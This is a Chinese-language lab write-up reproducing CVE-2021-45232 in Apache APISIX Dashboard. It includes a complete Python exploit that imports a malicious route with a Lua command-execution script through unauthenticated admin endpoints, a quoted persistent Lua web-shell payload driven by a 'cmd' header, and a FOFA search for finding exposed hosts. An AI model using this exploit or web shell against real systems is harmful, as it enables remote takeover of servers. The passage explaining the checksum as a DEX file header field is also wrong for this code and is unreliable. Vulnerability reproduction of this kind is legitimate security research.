0x01漏洞環境
Apache APISIX Dashboard 2.7 - 2.10 版本受到影響
通過git拉取在docker搭建環境
git clone https://github.com/apache/apisix-docker
注意這里需要把yml文件改成2.7版本
然后用docker搭建就可以了
0x02 攻擊過程
環境跑起來后成功訪問到9000登錄界面
這里的未授權訪問指的是對下面兩個接口沒有鑒權處理
/apisix/admin/migrate/export
/apisix/admin/migrate/import
用burp抓個包,訪問export接口,可以看到返回了路由信息
這里不光光能返回路由的配置信息,還能import導入路由配置,
首先它的返回路由信息是一個Json,(因為這里的路由配置的script部分是我在復現的時候import的payload)
我們可以在官方文檔里看到這些屬性的作用
如果我們在后台直接添加帶有payload的路由配置,看看它會不會執行命令
直接訪問創建的接口emlknW,這里需要訪問管理端口9080,不是9000
可以看到成功掛載了 852文件,命令執行成功
那么要如何通過訪問import接口來給他導入配置呢?
0x03 漏洞分析
通過參考網上別人的分析,因為是go語言 沒學過就不多分析了
后端代碼就是未對兩個接口訪問做鑒權,然后我們可以通過export得到的路由配置
自己構造一個惡意的路由配置,這里命令執行在script屬性里面,然后通過構造好的配置import到里面去。
看代碼分析知道可以有修改或者新建路由配置來完成。
關鍵的一點這里傳入的配置需要計算文件的checksum,
簡答了解一下:
checksum(校驗和)是DEX位於文件頭部的一個信息,用來判斷DEX文件是否損壞或者被篡改,它位於頭部的0x08
偏移地址處,占用4個字節,采用小端序存儲。
這里給出朋友改的代碼:
import random, string, json, zlib, requests """ "script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)q", 我的理解是 這是通過lua語言寫的通過請求頭帶上的cmd: rce,來替換'cmd'部分來執行命令 """ eval_config = { "Counsumers": [], "Routes": [ { "id": str(random.randint(100000000000000000, 1000000000000000000)), "create_time": 1640674554, "update_time": 1640677637, "uris": [ "/rce" ], "name": "rce", "methods": [ "GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE" ], "script": "os.execute('touch /tmp/mytest')", "status": 1 } ], "Services": [], "SSLs": [], "Upstreams": [], "Scripts": [], "GlobalPlugins": [], "PluginConfigs": [] } # 將數據進行checksum def calc_crc(data): crc32 = zlib.crc32(data) & 0xffffffff return crc32.to_bytes(4, byteorder="big") def import_apix(url, data): data = json.dumps(data).encode() # 將數據進行轉換為json存儲到文件中,后面需要以文件上傳 checksum = calc_crc(data) # 進行checksum ,然后添加到數據后面 files = {"file": ("data", data + checksum, "text/data")} resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies, verify=False) # proxies=proxies 這里是通過post去發包,走代理proxies if resp.json().get("code", -1) == 0: return True else: return False """ 這里定義的proxies為本地代理,這樣運行時候就能用burp抓包了 """ proxies = { "http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080" } # 生成一個隨機路徑 def random_str(): return ''.join(random.choices(string.ascii_letters + string.digits, k=6)) if __name__ == '__main__': uri = random_str() print(uri) eval_config["Routes"][0]["uris"] = ["/" + uri] eval_config["Routes"][0]["name"] = uri print(eval_config, end='\n') if import_apix('http://192.168.255.128:9000', eval_config): print("attack success") print("uri is: " + "/" + uri) else: print("attack error")
我們運行抓包看看,后面這個應該就是+上的checksum了,可以看到成功導入了配置
我們在py里輸出了隨機生成的命名uri
直接去訪問該API
回到環境看看,成功RCE了
在github上有大佬寫的是帶回顯的可以執行多次命令的接口配置,可以看看
https://github.com/wuppp/cve-2021-45232-exp#readme
代碼關鍵就是
"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
我的理解是 這是通過lua語言寫的通過讀取請求頭帶上的cmd: rce,來替換'cmd'部分來執行命令
所以import這種配置成功后,就可以這樣執行命令了
不得不說這更加有持久性 evil~
在fofa里面可以這樣來搜索,使用該組件的主機
title="Apache APISIX Dashboard"
0x04 修復方案
更新到最新版本,新版本代理做了鑒權處理
參考:
https://www.cnblogs.com/xiaozhi789/articles/15763472.html